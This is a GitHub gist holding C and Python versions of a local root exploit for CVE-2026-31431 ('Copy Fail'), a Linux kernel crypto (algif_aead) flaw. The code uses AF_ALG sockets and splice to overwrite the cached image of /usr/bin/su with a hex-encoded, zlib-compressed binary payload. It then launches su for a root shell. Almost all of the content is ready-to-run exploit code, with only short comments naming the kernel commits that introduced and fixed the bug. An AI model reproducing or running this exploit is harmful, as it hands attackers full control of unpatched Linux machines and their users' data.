Last active
May 6, 2026 06:54
-
-
Save Rtoax/b9a1cad0587762541df817955f87bb22 to your computer and use it in GitHub Desktop.
CVE-2026-31431-Copy-Fail-with-C-and-Python
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /** | |
| * CVE-2026-31431 copy fail re-write by C based on python code | |
| * ref: https://github.com/theori-io/copy-fail-CVE-2026-31431/tree/09e97bd8f1aa3868b720a7a12a60b1c365798e06 | |
| * | |
| * vulnerability: | |
| * cause by linux commit 72548b093ee3 ("crypto: algif_aead - copy AAD from src to dst") | |
| * fixed by linux commit a664bf3d603d ("crypto: algif_aead - Revert to operating out-of-place") | |
| * | |
| * see also https://gist.github.com/Rtoax/b9a1cad0587762541df817955f87bb22 | |
| */ | |
| #include <fcntl.h> | |
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <string.h> | |
| #include <sys/socket.h> | |
| #include <zlib.h> | |
| #include <linux/if_alg.h> | |
| /* @out: need to free() */ | |
| size_t hex2bin(const char *hex, unsigned char **out) | |
| { | |
| size_t len = strlen(hex); | |
| if (len % 2 != 0) | |
| return 0; | |
| size_t bin_len = len / 2; | |
| unsigned char *bin = malloc(bin_len); | |
| if (!bin) | |
| return 0; | |
| for (size_t i = 0; i < bin_len; i++) { | |
| sscanf(hex + 2 * i, "%02hhx", &bin[i]); | |
| } | |
| *out = bin; | |
| return bin_len; | |
| } | |
| int sock_alg(int sufd, int i, unsigned char *c) | |
| { | |
| int sockfd = socket(AF_ALG, SOCK_SEQPACKET, 0); | |
| struct sockaddr_alg sa = { | |
| .salg_family = AF_ALG, | |
| .salg_type = "aead", | |
| .salg_name = "authencesn(hmac(sha256),cbc(aes))" | |
| }; | |
| if (bind(sockfd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { | |
| perror("bind"); | |
| close(sockfd); | |
| return 1; | |
| } | |
| unsigned char key_data[40]; | |
| unsigned char prefix[] = { 0x08, 0x00, 0x01, 0x00, | |
| 0x00, 0x00, 0x00, 0x10 }; | |
| memcpy(key_data, prefix, 8); | |
| memset(key_data + 8, 0x30, 32); | |
| if (setsockopt(sockfd, SOL_ALG, 1, key_data, 40) < 0) { | |
| perror("setsockopt (opt 1)"); | |
| close(sockfd); | |
| return 1; | |
| } | |
| if (setsockopt(sockfd, SOL_ALG, 5, NULL, 4) < 0) { | |
| perror("setsockopt (opt 5)"); | |
| close(sockfd); | |
| return 1; | |
| } | |
| int fd = accept(sockfd, NULL, NULL); | |
| if (fd < 0) { | |
| perror("accept"); | |
| close(sockfd); | |
| return 1; | |
| } | |
| char data[8]; | |
| memcpy(data, "AAAA", 4); | |
| memcpy(data + 4, c, 4); | |
| struct iovec iov = { .iov_base = data, .iov_len = 8 }; | |
| /** | |
| * WARNING: don't forgot initialize with zero, cause CMSG_NXTHDR() will | |
| * check the next cmsg_len. | |
| */ | |
| char cmsg_buf[CMSG_SPACE(0) + CMSG_SPACE(20) + CMSG_SPACE(4)] = { 0 }; | |
| printf("size of cmsg_buf is %ld\n", sizeof(cmsg_buf)); | |
| printf("size of cmsghdr is %ld\n", sizeof(struct cmsghdr)); | |
| struct msghdr msg = { | |
| .msg_iov = &iov, | |
| .msg_iovlen = 1, | |
| .msg_control = cmsg_buf, | |
| .msg_controllen = sizeof(cmsg_buf), | |
| }; | |
| struct cmsghdr *cmsg1 = CMSG_FIRSTHDR(&msg); | |
| cmsg1->cmsg_level = SOL_ALG; | |
| cmsg1->cmsg_type = 3; | |
| cmsg1->cmsg_len = CMSG_LEN(0); | |
| struct cmsghdr *cmsg2 = CMSG_NXTHDR(&msg, cmsg1); | |
| cmsg2->cmsg_level = SOL_ALG; | |
| cmsg2->cmsg_type = 2; | |
| cmsg2->cmsg_len = CMSG_LEN(20); // 1 + 19 = 20 | |
| unsigned char type2_data[20] = { 0x10 }; | |
| memcpy(CMSG_DATA(cmsg2), type2_data, 20); | |
| struct cmsghdr *cmsg3 = CMSG_NXTHDR(&msg, cmsg2); | |
| cmsg3->cmsg_level = SOL_ALG; | |
| cmsg3->cmsg_type = 4; | |
| cmsg3->cmsg_len = CMSG_LEN(4); // 1 + 3 = 4 | |
| unsigned char type4_data[4] = { 0x08 }; | |
| memcpy(CMSG_DATA(cmsg3), type4_data, 4); | |
| if (sendmsg(sockfd, &msg, MSG_MORE) < 0) { | |
| perror("sendmsg"); | |
| return 1; | |
| } | |
| int pipefd[2]; | |
| if (pipe(pipefd) < 0) { | |
| perror("pipe"); | |
| return 1; | |
| } | |
| int r = pipefd[0], w = pipefd[1]; | |
| int o = i + 4; | |
| loff_t off_in = 0; | |
| if (splice(sufd, &off_in, w, NULL, o, 0) < 0) { | |
| perror("splice fd->w"); | |
| close(r); | |
| close(w); | |
| return 1; | |
| } | |
| if (splice(r, NULL, sockfd, NULL, o, 0) < 0) { | |
| perror("splice r->sockfd"); | |
| close(r); | |
| close(w); | |
| return 1; | |
| } | |
| close(r); | |
| close(w); | |
| char *dummy = malloc(8 + i); | |
| if (dummy) { | |
| recv(sockfd, dummy, 8 + i, 0); | |
| free(dummy); | |
| } | |
| close(sockfd); | |
| return 0; | |
| } | |
| int main(void) | |
| { | |
| int ret, i; | |
| unsigned char *compressed = NULL; | |
| unsigned char *decompressed = NULL; | |
| int sufd; | |
| size_t compressed_len; | |
| uLongf decomp_len = 4096; | |
| const char *hex_payload = | |
| "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"; | |
| sufd = open("/usr/bin/su", O_RDONLY); | |
| if (sufd == -1) { | |
| perror("open"); | |
| } | |
| compressed_len = hex2bin(hex_payload, &compressed); | |
| if (!compressed_len) { | |
| fprintf(stderr, "Hex conversion failed\n"); | |
| return 1; | |
| } | |
| printf("Compressed size: %zu bytes\n", compressed_len); | |
| decompressed = malloc(decomp_len); | |
| if (!decompressed) { | |
| free(compressed); | |
| return 1; | |
| } | |
| ret = uncompress(decompressed, &decomp_len, compressed, compressed_len); | |
| if (ret == Z_BUF_ERROR) { | |
| free(decompressed); | |
| decompressed = malloc(decomp_len); | |
| if (!decompressed) { | |
| free(compressed); | |
| return 1; | |
| } | |
| ret = uncompress(decompressed, &decomp_len, compressed, | |
| compressed_len); | |
| } | |
| for (i = 0; i + 3 < decomp_len; i += 4) { | |
| sock_alg(sufd, i, decompressed + i); | |
| } | |
| system("su"); | |
| close(sufd); | |
| return 0; | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| """ | |
| CVE-2026-31431-Copy-Fail | |
| refs: https://copy.fail/ | |
| https://github.com/theori-io/copy-fail-CVE-2026-31431 | |
| fork: https://github.com/Rtoax/copy-fail-CVE-2026-31431 | |
| re-write by C: https://gist.github.com/Rtoax/b9a1cad0587762541df817955f87bb22 | |
| vulnerability: | |
| cause by linux commit 72548b093ee3 ("crypto: algif_aead - copy AAD from src to dst") | |
| fixed by linux commit a664bf3d603d ("crypto: algif_aead - Revert to operating out-of-place") | |
| """ | |
| import os as g,zlib,socket as s | |
| import os, ctypes | |
| import sys | |
| libc=ctypes.CDLL("libc.so.6", use_errno=True) | |
| splice=libc.splice | |
| splice.argtypes=[ | |
| ctypes.c_int, # fd_in | |
| ctypes.POINTER(ctypes.c_int64), # off_in | |
| ctypes.c_int, # fd_out | |
| ctypes.POINTER(ctypes.c_int64), # off_out | |
| ctypes.c_size_t, # len | |
| ctypes.c_uint # flags | |
| ] | |
| splice.restype=ctypes.c_ssize_t | |
| """ only python >= 3.10 support os.splice() """ | |
| def splice_wrapper(fd_in, fd_out, nbytes, offset_src=None, offset_dst=None, flags=0): | |
| off_in_ptr=None | |
| off_out_ptr=None | |
| if offset_src is not None: | |
| off_in=ctypes.c_int64(offset_src) | |
| off_in_ptr=ctypes.byref(off_in) | |
| if offset_dst is not None: | |
| off_out=ctypes.c_int64(offset_dst) | |
| off_out_ptr=ctypes.byref(off_out) | |
| ret=splice(fd_in, off_in_ptr, fd_out, off_out_ptr, nbytes, flags) | |
| if ret < 0: | |
| errno=ctypes.get_errno() | |
| raise OSError(errno, os.strerror(errno)) | |
| return ret | |
| def d(x): | |
| return bytes.fromhex(x) | |
| def c(f,t,c): | |
| """AF_ALG""" | |
| a=s.socket(38,5,0); | |
| a.bind(("aead","authencesn(hmac(sha256),cbc(aes))")); | |
| """SOL_ALG""" | |
| h=279; | |
| v=a.setsockopt; | |
| v(h,1,d('0800010000000010'+'0'*64)); | |
| v(h,5,None,4); | |
| u,_=a.accept(); | |
| o=t+4; | |
| i=d('00'); | |
| u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768); | |
| r,w=g.pipe(); | |
| if hasattr(os, 'splice'): | |
| n=g.splice; | |
| else: | |
| print("os.splice not found, using ctypes fallback") | |
| n=splice_wrapper | |
| n(f,w,o,offset_src=0); | |
| n(r,u.fileno(),o) | |
| try: | |
| u.recv(8+t) | |
| except: | |
| 0 | |
| f=g.open("/usr/bin/su",0); | |
| i=0; | |
| e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3")) | |
| while i<len(e): | |
| c(f,i,e[i:i+4]); | |
| i+=4 | |
| g.system("su") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment